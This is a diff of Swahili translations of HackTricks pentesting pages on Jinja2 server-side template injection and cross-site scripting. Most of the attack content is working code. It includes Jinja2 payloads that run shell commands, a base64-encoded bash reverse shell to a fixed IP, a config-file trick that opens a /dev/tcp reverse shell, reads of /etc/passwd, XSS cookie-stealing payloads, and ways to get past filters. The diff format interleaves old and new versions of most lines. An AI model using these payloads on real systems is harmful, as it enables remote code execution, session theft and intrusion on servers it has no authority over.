**RCE** (Remote Code Execution) ni kosa la usalama ambapo mtu mhalifu anaweza kutekeleza nambari kwa mbali kwenye mfumo uliolengwa. Hii inaweza kutokea kwa sababu ya udhaifu katika programu au mazingira ya mtandao. RCE inaweza kuwa na athari mbaya, kama vile kuchukua udhibiti kamili wa mfumo, kufikia data nyeti, au kusababisha uharibifu mkubwa. Kwa wapenzi wa usalama, RCE ni moja ya malengo muhimu ya kufikia wakati wa kufanya uchunguzi wa kuingilia kati (pentesting).
**Ukurasa wa Kudhibiti Kijijini (RCE)**
```python
# The class 396 is the class <class 'subprocess.Popen'>
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
@ -149,18 +150,18 @@ Wito wa `__subclasses__` umetupa fursa ya **kufikia mamia ya kazi mpya**, tutafu
```
Kujifunza kuhusu **darasa zaidi** ambazo unaweza kutumia kwa **kutoroka**, unaweza **angalia**:
Kujifunza kuhusu **madarasa zaidi** unayoweza kutumia kwa **kuhama** unaweza **kuangalia**:
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
{% endcontent-ref %}
### Kupitisha kizuizi
### Kupitisha vikwazo
#### Kupitisha kawaida
Hizi kupitisha zitaruhusu **kufikia** **vipengele** vya vitu **bila kutumia baadhi ya herufi**.\
Tayari tumeshapata kuona baadhi ya kupitisha hizi katika mifano ya hapo awali, lakini hebu tuifupishe hapa:
Hizi kupitisha zitaruhusu **upatikanaji** wa **sifa** za vitu **bila kutumia baadhi ya herufi**.\
Tayari tumeshaona baadhi ya hizi kupitisha katika mifano ya hapo awali, lakini hebu tuzikague hapa:
```bash
# Without quotes, _, [, ]
## Basic ones
@ -185,26 +186,27 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
{% endraw %}
```
* [**Rudi hapa kwa chaguo zaidi za kupata kifaa cha ulimwengu**](jinja2-ssti.md#kupata-vifaa-vya-ulimwengu)
* [**Rudi hapa kwa chaguo zaidi za kupata darasa la kifaa**](jinja2-ssti.md#kupata-darasa-la-kifaa-lisilo-na-darasa)
* [**Soma hii ili kupata RCE bila darasa la kifaa**](jinja2-ssti.md#kuingiza-jinja-bila-darasa-la-kifaa)
* [**Rudi hapa kwa chaguo zaidi za kupata kipengee cha ulimwengu**](jinja2-ssti.md#accessing-global-objects)
* [**Rudi hapa kwa chaguo zaidi za kupata darasa la kipengee**](jinja2-ssti.md#recovering-less-than-class-object-greater-than)
* [**Soma hii ili upate RCE bila darasa la kipengee**](jinja2-ssti.md#jinja-injection-without-less-than-class-object-greater-than)
**Kuepuka uwekaji wa HTML**
**Kuepuka uendeshaji wa HTML**
Kwa chaguo-msingi, Flask hufanya uwekaji wa HTML kwa kila kitu ndani ya kiolesura kwa sababu za usalama:
Kwa chaguo la msingi, Flask hufanya uendeshaji wa HTML kwa kila kitu ndani ya kiolesura kwa sababu za usalama:
```python
{{'<script>alert(1);</script>'}}
#will be
&lt;script&gt;alert(1);&lt;/script&gt;
```
**Kichujio cha `salama`** kinaturuhusu kuingiza JavaScript na HTML kwenye ukurasa **bila** kuwa **imefanyiwa uandishi wa HTML**, kama hivi:
**Filteri ya `safe`** inaruhusu sisi kuingiza JavaScript na HTML kwenye ukurasa **bila** kuwa **HTML encoded**, kama hivi:
```python
{{'<script>alert(1);</script>'|safe}}
#will be
<script>alert(1);</script>
```
**RCE kwa kuandika faili ya config mbaya.**
**RCE kwa kuandika faili mbaya ya usanidi.**
```python
# evil config
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
@ -215,20 +217,21 @@ Kwa chaguo-msingi, Flask hufanya uwekaji wa HTML kwa kila kitu ndani ya kiolesur
# connect to evil host
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}
```
## Bila herufi kadhaa
## Bila wahusika kadhaa
Bila **`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`**
```python
{% raw %}
{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}
{% endraw %}
```
## Uingizaji wa Jinja bila **\<class 'object'>**
## Kuingiza Jinja bila **\<class 'object'>**
Kutoka kwa [**vitu vya ulimwengu**](jinja2-ssti.md#accessing-global-objects) kuna njia nyingine ya kupata **RCE bila kutumia darasa hilo.**\
Ikiwa utafanikiwa kupata **kazi yoyote** kutoka kwa vitu hivyo vya ulimwengu, utaweza kupata ufikiaji wa **`__globals__.__builtins__`** na kutoka hapo **RCE** ni rahisi sana.
Kutoka kwa [**vitu vya kimataifa**](jinja2-ssti.md#accessing-global-objects) kuna njia nyingine ya kupata **RCE bila kutumia darasa hilo.**\
Ikiwa utafanikiwa kufikia **kazi yoyote** kutoka kwa vitu hivyo vya kimataifa, utaweza kupata upatikanaji wa **`__globals__.__builtins__`** na kutoka hapo **RCE** ni rahisi sana.
Unaweza **kupata kazi** kutoka kwa vitu kama **`ombi`**, **`config`** na vitu vingine **vyote** vya ulimwengu vinavyovutia ambavyo una ufikiaji kwavyo kwa kutumia:
Unaweza **kupata kazi** kutoka kwa vitu **`ombi`**, **`mpangilio`** na vingine **vyovyote** vya kuvutia **vya kimataifa** unavyoweza kupata kwa:
```bash
{{ request.__class__.__dict__ }}
- application
@ -248,7 +251,7 @@ Unaweza **kupata kazi** kutoka kwa vitu kama **`ombi`**, **`config`** na vitu vi
# You can iterate through children objects to find more
```
Baada ya kupata baadhi ya kazi, unaweza kurejesha kazi zilizojengwa na:
Baada ya kupata baadhi ya kazi unaweza kurejesha builtins na:
```python
# Read file
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}
@ -272,20 +275,20 @@ Baada ya kupata baadhi ya kazi, unaweza kurejesha kazi zilizojengwa na:
## Marejeo
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
* Angalia [njia ya kukiuka herufi zilizopigwa marufuku hapa](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).
* Angalia [mbinu ya attr ya kudanganya kuepuka herufi zilizopigwa marufuku hapa](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).
* [https://twitter.com/SecGus/status/1198976764351066113](https://twitter.com/SecGus/status/1198976764351066113)
* [https://hackmd.io/@Chivato/HyWsJ31dI](https://hackmd.io/@Chivato/HyWsJ31dI)
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -1,8 +1,8 @@
# XSS (Cross Site Scripting)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ikiwa una nia ya **kazi ya udukuzi** na kudukua yasiyodukuliwa - **tunakupa kazi!** (_ujuzi wa Kipolishi wa kuandika na kusema unahitajika_).
Ikiwa una nia ya **kazi ya udukuzi** na kudukua mambo yasiyodukuzika - **tunakupa kazi!** (_ujuzi wa Kipolishi wa kuandika na kusema unahitajika_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -16,20 +16,20 @@ Ikiwa una nia ya **kazi ya udukuzi** na kudukua yasiyodukuliwa - **tunakupa kazi
1. Je, unaweza kuunda vitambulisho vipya vya HTML?
2. Je, unaweza kutumia matukio au sifa zinazounga mkono itifaki ya `javascript:`?
3. Je, unaweza kukiuka ulinzi?
4. Je, yaliyomo ya HTML inachambuliwa na injini yoyote ya JS ya upande wa mteja (_AngularJS_, _VueJS_, _Mavo_...), unaweza kutumia [**Uingizaji wa Kielelezo cha Upande wa Mteja**](../client-side-template-injection-csti.md).
4. Je, yaliyomo ya HTML yanachambuliwa na injini yoyote ya JS ya upande wa mteja (_AngularJS_, _VueJS_, _Mavo_...), unaweza kutumia [**Uingizaji wa Kielelezo cha Upande wa Mteja**](../client-side-template-injection-csti.md).
5. Ikiwa huwezi kuunda vitambulisho vya HTML vinavyotekeleza msimbo wa JS, unaweza kutumia [**Kutundikwa kwa Alama - Uingizaji wa HTML bila skripti**](../dangling-markup-html-scriptless-injection/)?
2. Ndani ya **kitambulisho cha HTML**:
2. Ndani ya **tambulisho la HTML**:
1. Je, unaweza kutoka kwenye muktadha wa HTML ghafi?
2. Je, unaweza kuunda matukio/sifa mpya za kutekeleza msimbo wa JS?
3. Je, sifa ambapo umekwama inaunga mkono utekelezaji wa JS?
4. Je, unaweza kukiuka ulinzi?
3. Ndani ya **msimbo wa JavaScript**:
3. Ndani ya msimbo wa **JavaScript**:
1. Je, unaweza kuepuka lebo ya `<script>`?
2. Je, unaweza kuepuka herufi na kutekeleza msimbo tofauti wa JS?
3. Je, matokeo yako ni katika herufi za kielezo \`\`?
4. Je, unaweza kukiuka ulinzi?
4. **Kazi** ya JavaScript **inayotekelezwa**
1. Unaweza kuonyesha jina la kazi ya kutekelezwa. mf.: `?callback=alert(1)`
4. **Kazi** ya JavaScript inayotekelezwa**
1. Unaweza kutaja jina la kazi ya kutekelezwa. mf.: `?callback=alert(1)`
4. Ikiwa **inatumika**:
1. Unaweza kutumia **DOM XSS**, angalia jinsi matokeo yako yanavyodhibitiwa na ikiwa matokeo yako **yanayodhibitiwa yanatumika na sinki yoyote**.
@ -41,40 +41,40 @@ Unapofanya kazi kwenye XSS ngumu unaweza kupata kuvutia kujua kuhusu:
## Thamani Zilizoonyeshwa
Ili kufaidika kikamilifu na XSS jambo la kwanza unahitaji kupata ni **thamani unayoidhibiti inayoonyeshwa** kwenye ukurasa wa wavuti.
Ili kufanikiwa kutumia XSS jambo la kwanza unahitaji kupata ni **thamani unayoidhibiti inayoonyeshwa** kwenye ukurasa wa wavuti.
* **Kati kati inayoonyeshwa**: Ikiwa unagundua kuwa thamani ya parameta au hata njia inaonyeshwa kwenye ukurasa wa wavuti unaweza kutumia **Reflected XSS**.
* **Imehifadhiwa na inayoonyeshwa**: Ikiwa unagundua kuwa thamani unayoidhibiti imehifadhiwa kwenye seva na inaonyeshwa kila wakati unapofikia ukurasa unaweza kutumia **Stored XSS**.
* **Kati kati ya kuonyeshwa**: Ikiwa unagundua kuwa thamani ya parameta au hata njia inaonyeshwa kwenye ukurasa wa wavuti unaweza kutumia **XSS iliyoonjeshwa**.
* **Imehifadhiwa na kuonyeshwa**: Ikiwa unagundua kuwa thamani unayoidhibiti imehifadhiwa kwenye seva na inaonyeshwa kila wakati unapofikia ukurasa unaweza kutumia **XSS iliyohifadhiwa**.
* **Kufikiwa kupitia JS**: Ikiwa unagundua kuwa thamani unayoidhibiti inatumika kwa kutumia JS unaweza kutumia **DOM XSS**.
## Muktadha
Unapojaribu kutumia XSS jambo la kwanza unahitaji kujua ni **wapi matokeo yako yanayoonyeshwa**. Kulingana na muktadha, utaweza kutekeleza msimbo wa JS kwa njia tofauti.
Unapojaribu kutumia XSS jambo la kwanza unahitaji kujua ikiwa **wapi matokeo yako yanayoonyeshwa**. Kulingana na muktadha, utaweza kutekeleza msimbo wa JS wa kiholela kwa njia tofauti.
### HTML Ghafi
Ikiwa matokeo yako yanaonyeshwa kwenye **HTML ghafi** unahitaji kutumia baadhi ya **kitambulisho cha HTML** ili kutekeleza msimbo wa JS: `<img , <iframe , <svg , <script` ... hizi ni baadhi tu ya vitambulisho vingi vya HTML unavyoweza kutumia.\
Ikiwa matokeo yako yanaonyeshwa kwenye **HTML ghafi** unahitaji kutumia baadhi ya **tambulisho la HTML** ili kutekeleza msimbo wa JS: `<img , <iframe , <svg , <script` ... hizi ni baadhi tu ya vitambulisho vingi vya HTML unavyoweza kutumia.\
Pia, kumbuka [Uingizaji wa Kielelezo cha Upande wa Mteja](../client-side-template-injection-csti.md).
### Ndani ya Sifa za Vitambulisho vya HTML
Ikiwa matokeo yako yanaonyeshwa ndani ya thamani ya sifa ya lebo unaweza jaribu:
1. Kujaribu **kutoka kwenye sifa na kutoka kwenye lebo** (kisha utakuwa kwenye HTML ghafi) na kuunda kitambulisho kipya cha HTML cha kutumia: `"><img [...]`
1. Kujaribu **kutoka kwenye sifa na kutoka kwenye lebo** (kisha utakuwa kwenye HTML ghafi) na kuunda lebo mpya ya HTML kutekeleza: `"><img [...]`
2. Ikiwa **unaweza kutoka kwenye sifa lakini si kutoka kwenye lebo** (`>` imekodishwa au imefutwa), kulingana na lebo unaweza **kuunda tukio** linalotekeleza msimbo wa JS: `" autofocus onfocus=alert(1) x="`
3. Ikiwa **hauwezi kutoka kwenye sifa** (`"` inakodishwa au imefutwa), basi kulingana na **sifa ipi** thamani yako inaonyeshwa **ikiwa unadhibiti thamani yote au sehemu tu** unaweza kutumia. Kwa **mfano**, ikiwa unadhibiti tukio kama `onclick=` utaweza kufanya iwekeze msimbo wa aina yoyote unapobonyeza. Mfano mwingine wa kuvutia ni sifa `href`, ambapo unaweza kutumia itifaki ya `javascript:` kutekeleza msimbo wa aina yoyote: **`href="javascript:alert(1)"`**
4. Ikiwa matokeo yako yanaonyeshwa ndani ya "**vitambulisho visivyoweza kutumiwa**" unaweza kujaribu mbinu ya **`accesskey`** kutumia mwanya huo (utahitaji aina fulani ya mhandisi wa kijamii kufaidika na hii): **`" accesskey="x" onclick="alert(1)" x="`**
3. Ikiwa **hauwezi kutoka kwenye sifa** (`"` inakodishwa au imefutwa), basi kulingana na **sifa ipi** thamani yako inaonyeshwa **ikiwa unadhibiti thamani yote au sehemu tu** unaweza kuitumia. Kwa **mfano**, ikiwa unadhibiti tukio kama `onclick=` utaweza kufanya iwekeze msimbo wa kiholela unapobonyeza. Mfano mwingine wa kuvutia ni sifa `href`, ambapo unaweza kutumia itifaki ya `javascript:` kutekeleza msimbo wa kiholela: **`href="javascript:alert(1)"`**
4. Ikiwa matokeo yako yanaonyeshwa ndani ya "**vitambulisho visivyoweza kutumiwa**" unaweza kujaribu mbinu ya **`accesskey`** kutumia udhaifu (utahitaji aina fulani ya mhandisi wa kijamii kuitumia): **`" accesskey="x" onclick="alert(1)" x="`**
### Ndani ya Msimbo wa JavaScript
Katika kesi hii matokeo yako yanaonyeshwa kati ya **`<script> [...] </script>`** vitambulisho vya ukurasa wa HTML, ndani ya faili ya `.js` au ndani ya sifa inayotumia itifaki ya **`javascript:`**:
* Ikiwa yanaonyeshwa kati ya **`<script> [...] </script>`** vitambulisho, hata kama matokeo yako yamo ndani ya aina yoyote ya alama, unaweza kujaribu kuingiza `</script>` na kutoka kwenye muktadha huu. Hii inafanya kazi kwa sababu **kivinjari kitachambua kwanza vitambulisho vya HTML** na kisha yaliyomo, kwa hivyo, haitagundua kuwa alama yako ya kuingiza `</script>` iko ndani ya msimbo wa HTML.
* Ikiwa yanaonyeshwa **ndani ya herufi ya JS** na mbinu ya mwisho haifanyi kazi unahitaji **kutoka** kwenye herufi, **kutekeleza** msimbo wako na **kujenga upya** msimbo wa JS (ikiwa kuna kosa, hautatekelezwa:
* Ikiwa yanaonyeshwa kati ya **`<script> [...] </script>`** vitambulisho, hata kama matokeo yako yamo ndani ya aina yoyote ya alama, unaweza kujaribu kuingiza `</script>` na kutoka kwenye muktadha huu. Hii inafanya kazi kwa sababu **kivinjari kitachambua kwanza vitambulisho vya HTML** na kisha yaliyomo, kwa hivyo, haitagundua kuwa alama yako ya `</script>` iliyodukuliwa iko ndani ya msimbo wa HTML.
* Ikiwa yanaonyeshwa **ndani ya herufi za JS** na mbinu ya mwisho haifanyi kazi unahitaji **kutoka** kwenye herufi, **kutekeleza** msimbo wako na **kujenga upya** msimbo wa JS (ikiwa kuna kosa, hautatekelezwa:
* `'-alert(1)-'`
* `';-alert(1)//`
* `\';alert(1)//`
* Ikiwa yanaonyeshwa ndani ya kielelezo cha herufi unaweza **ingiza mielekeo ya JS** kwa kutumia sintaksia ya `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
* Ikiwa yanaonyeshwa ndani ya kielelezo cha herufi unaweza **kuingiza mielekeo ya JS** kwa kutumia sintaksia ya `${ ... }`: `` var salamu = `Hello, ${alert(1)}` ``
* **Ukodishaji wa Unicode** unafanya kazi kuandika **msimbo wa JS halali**:
```javascript
\u{61}lert(1)
@ -83,7 +83,7 @@ Katika kesi hii matokeo yako yanaonyeshwa kati ya **`<script> [...] </script>`**
```
#### Kukweka Javascript
Kukweka Javascript inahusu fursa ya **kutangaza kazi, mizani au darasa baada ya kutumiwa ili uweze kutumia hali ambapo XSS inatumia variables au functions ambazo hazijatangazwa.**\
Kukweka Javascript inahusu fursa ya **kutangaza kazi, mizani au madarasa baada ya kutumiwa ili uweze kutumia hali ambapo XSS inatumia mizani au kazi ambazo hazijatangazwa.**\
**Angalia ukurasa ufuatao kwa maelezo zaidi:**
{% content-ref url="js-hoisting.md" %}
@ -98,7 +98,7 @@ Njia nzuri ya kugundua ikiwa kitu kilichotolewa moja kwa moja na mtumiaji kinaja
![](<../../.gitbook/assets/image (651) (2).png>)
Ikiwa ni dhaifu, unaweza **kuzindua onyo** kwa kutuma thamani: **`?callback=alert(1)`**. Walakini, ni kawaida sana kwamba makutano haya yata **thibitisha maudhui** ili kuruhusu herufi, nambari, alama za mshale na mistari (**`[\w\._]`**).
Ikiwa ni dhaifu, unaweza kuwa na uwezo wa **kuzindua onyo** kwa kutuma thamani: **`?callback=alert(1)`**. Walakini, ni kawaida sana kwamba makutano haya yata **thibitisha maudhui** ili kuruhusu herufi, nambari, alama za mshale na mistari ya chini tu (**`[\w\._]`**).
Hata hivyo, hata na kizuizi hicho bado inawezekana kutekeleza baadhi ya vitendo. Hii ni kwa sababu unaweza kutumia herufi halali hizo kufikia kipengele chochote katika DOM:
@ -124,7 +124,7 @@ Kwa hivyo, ili **kutumia udhaifu huu katika DOM tofauti** ilitengenezwa unyanyas
### DOM
Kuna **msimbo wa JS** ambao unatumia **bila usalama** baadhi ya **data inayodhibitiwa na mshambuliaji** kama vile `location.href`. Mshambuliaji, anaweza kutumia hii kutekeleza msimbo wa JS wa aina yoyote.
Kuna **msimbo wa JS** ambao unatumia **kwa njia isiyokuwa salama** baadhi ya **data inayodhibitiwa na mshambuliaji** kama vile `location.href`. Mshambuliaji, anaweza kutumia hii kutekeleza msimbo wa JS wa aina yoyote.
{% content-ref url="dom-xss.md" %}
[dom-xss.md](dom-xss.md)
@ -149,8 +149,8 @@ Baadhi ya **mfano**:
## Kuingiza ndani ya HTML ghafi
Wakati matokeo yako yanarudishwa **ndani ya ukurasa wa HTML** au unaweza kutoroka na kuingiza msimbo wa HTML katika muktadha huu, **jambo la kwanza** unalohitaji kufanya ni kuangalia ikiwa unaweza kutumia `<` kuunda vitambulisho vipya: Jaribu tu **kurudisha** **herufi** hiyo na uangalie ikiwa ina **kodishwa kwa HTML** au **kufutwa** au ikiwa ina **kurudishwa bila mabadiliko**. **Katika kesi ya mwisho tu utaweza kutumia udhaifu huu**.\
Kwa kesi hizi pia **kumbuka** [**Uingizaji wa Kigezo cha Upande wa Mteja**](../client-side-template-injection-csti.md)**.**\
Wakati matokeo yako yanarudishwa **ndani ya ukurasa wa HTML** au unaweza kutoroka na kuingiza msimbo wa HTML katika muktadha huu, **jambo la kwanza** unalohitaji kufanya ni kuangalia ikiwa unaweza kutumia `<` kuunda vitambulisho vipya: Jaribu tu **kurudisha** **herufi** hiyo na uangalie ikiwa ina **kodishwa kwa HTML** au **kufutwa** au ikiwa ina **rudishwa bila mabadiliko**. **Katika kesi ya mwisho tu utaweza kutumia udhaifu huu**.\
Kwa kesi hizi pia **kumbuka** [**Uingizaji wa Kielelezo Upande wa Mteja**](../client-side-template-injection-csti.md)**.**\
_**Maelezo: Maoni ya HTML yanaweza kufungwa kwa kutumia**** ****`-->`**** ****au**** ****`--!>`**_
Katika kesi hii na ikiwa hakuna orodha nyeusi/orodha nyeupe inayotumiwa, unaweza kutumia mizigo kama:
@ -160,21 +160,21 @@ Katika kesi hii na ikiwa hakuna orodha nyeusi/orodha nyeupe inayotumiwa, unaweza
<svg onload=alert('XSS')>
```
Lakini, ikiwa orodha nyeusi/nyeupe ya vitambulisho/vipengele inatumika, utahitaji **kufanya nguvu ya kutumia vitambulisho** unavyoweza kuunda.\
Baada ya **kupata vitambulisho vilivyoidhinishwa**, utahitaji **kufanya nguvu ya kutumia vipengele/matukio** ndani ya vitambulisho halali ulivyopata kuona jinsi unavyoweza kushambulia muktadha.
Baada ya **kupata vitambulisho vilivyoidhinishwa**, utahitaji **kufanya nguvu ya kutumia vipengele/matukio** ndani ya vitambulisho halali ulivyopata ili uone jinsi unavyoweza kushambulia muktadha.
### Nguvu ya Vitambulisho/Matukio
Nenda kwenye [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) na bonyeza _**Nakili vitambulisho kwenye ubao**_. Kisha, tuma vyote kwa kutumia Burp intruder na angalia kama kuna vitambulisho vilivyogunduliwa kuwa vichafu na WAF. Baada ya kugundua vitambulisho unavyoweza kutumia, unaweza **kufanya nguvu ya kutumia matukio yote** kwa kutumia vitambulisho halali (kwenye ukurasa huo huo wa wavuti bonyeza _**Nakili matukio kwenye ubao**_ na fuata utaratibu huo huo kama awali).
Nenda kwenye [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) na bonyeza _**Nakili vitambulisho kwenye ubao**_. Kisha, tuma vyote kwa kutumia Burp intruder na angalia ikiwa kuna vitambulisho vilivyogunduliwa kuwa vichafu na WAF. Baada ya kugundua vitambulisho unavyoweza kutumia, unaweza **kufanya nguvu ya kutumia matukio yote** kwa kutumia vitambulisho halali (kwenye ukurasa huo huo wa wavuti bonyeza _**Nakili matukio kwenye ubao**_ na fuata utaratibu huo huo kama awali).
### Vitambulisho vya Kibinafsi
Ikiwa hukupata kitambulisho halali la HTML, unaweza kujaribu **kuunda kitambulisho cha kibinafsi** na kutekeleza msimbo wa JS na sifa ya `onfocus`. Katika ombi la XSS, unahitaji kumaliza URL na `#` ili kufanya ukurasa **uelekeze kwenye kitu hicho** na **kutekeleza** msimbo:
Ikiwa hukupata kitambulisho halali la HTML, unaweza kujaribu **kuunda kitambulisho cha kibinafsi** na kutekeleza msimbo wa JS na sifa ya `onfocus`. Katika ombi la XSS, unahitaji kumaliza URL na `#` ili kufanya ukurasa **uelekee kwenye kitu hicho** na **kutekeleza** msimbo:
```
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
```
### Kuepuka Orodha ya Kupiga Marufuku
### Kupitisha Orodha ya Kupuuza
Ikiwa aina fulani ya orodha ya kupiga marufuku inatumika, unaweza jaribu kuipita kwa mbinu za kipumbavu:
Ikiwa aina fulani ya orodha ya kupuuza inatumika, unaweza jaribu kuipitisha kwa mbinu za kipumbavu:
```javascript
//Random capitalization
<script> --> <ScrIpT>
@ -235,9 +235,9 @@ onerror=alert`1`
<script src=//aa.es>
<script src=//℡㏛.pw>
```
Ya mwisho ni kutumia wahusika 2 wa Unicode ambao hufikia 5: telsr\
Ya mwisho ni kutumia wahusika 2 wa unicode ambao hufikia 5: telsr\
Zaidi ya wahusika hawa wanaweza kupatikana [hapa](https://www.unicode.org/charts/normalization/).\
Kuona ni wahusika gani wamevunjwa vipande, angalia [hapa](https://www.compart.com/en/unicode/U+2121).
Kuangalia ni wahusika gani wamegawanywa angalia [hapa](https://www.compart.com/en/unicode/U+2121).
### Bonyeza XSS - Clickjacking
@ -251,7 +251,7 @@ Ikiwa unafikiria tu kwamba **haiwezekani kuunda lebo ya HTML na sifa ya kutekele
### Ndani ya lebo/kutoroka kutoka thamani ya sifa
Ikiwa uko **ndani ya lebo ya HTML**, jambo la kwanza unaloweza kujaribu ni **kutoroka** kutoka kwenye lebo na kutumia baadhi ya mbinu zilizotajwa katika [sehemu iliyopita](./#injecting-inside-raw-html) ili kutekeleza msimbo wa JS.\
Ikiwa uko **ndani ya lebo ya HTML**, jambo la kwanza unaloweza kujaribu ni **kutoroka** kutoka kwenye lebo na kutumia baadhi ya mbinu zilizotajwa katika [sehemu iliyopita](./#injecting-inside-raw-html) kutekeleza msimbo wa JS.\
Ikiwa **hauwezi kutoroka kutoka kwenye lebo**, unaweza kuunda sifa mpya ndani ya lebo kujaribu kutekeleza msimbo wa JS, kwa mfano kutumia mzigo kama huu (_tambua kwamba katika mfano huu alama za nukuu mara mbili hutumiwa kutoroka kutoka kwenye sifa, hautahitaji hizo ikiwa matokeo yako yanarejelewa moja kwa moja ndani ya lebo_):
```bash
" autofocus onfocus=alert(document.domain) x="
@ -269,14 +269,14 @@ Ikiwa **hauwezi kutoroka kutoka kwenye lebo**, unaweza kuunda sifa mpya ndani ya
```
### Ndani ya sifa
Hata kama **hauwezi kutoroka kutoka kwa sifa** (`"` inakodishwa au kufutwa), kutegemea **sifa ipi** thamani yako inaonyeshwa **ikiwa una udhibiti wa thamani yote au sehemu tu** unaweza kuibua. Kwa **mfano**, ikiwa una udhibiti wa tukio kama `onclick=`, utaweza kuifanya itekeleze nambari ya kupindukia wakati inapobonyezwa.\
Mfano mwingine wa kuvutia ni sifa `href`, ambapo unaweza kutumia itifaki ya `javascript:` kutekeleza nambari ya kupindukia: **`href="javascript:alert(1)"`**
Hata kama **hauwezi kutoroka kutoka kwa sifa** (`"` inakodishwa au kufutwa), kulingana na **sifa ipi** thamani yako inaonyeshwa **ikiwa una udhibiti wa thamani yote au sehemu tu** unaweza kuibua. Kwa **mfano**, ikiwa una udhibiti wa tukio kama `onclick=`, utaweza kuifanya itekeleze nambari ya kupendelea wakati inapobonyezwa.\
Mfano mwingine wa kuvutia ni sifa `href`, ambapo unaweza kutumia itifaki ya `javascript:` kutekeleza nambari ya kupendelea: **`href="javascript:alert(1)"`**
**Kupita ndani ya tukio kwa kutumia uendeshaji wa HTML encoding/URL encode**
**Kupita ndani ya tukio kwa kutumia uendeshaji wa HTML/URL encode**
**Vichwa vya habari vilivyokodishwa vya HTML** ndani ya thamani ya sifa za vitambulisho vya HTML vinakodishwa wakati wa uendeshaji. Kwa hivyo kitu kama hicho kitakuwa halali (mzigo uko kwa herufi nene): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Rudi </a>`
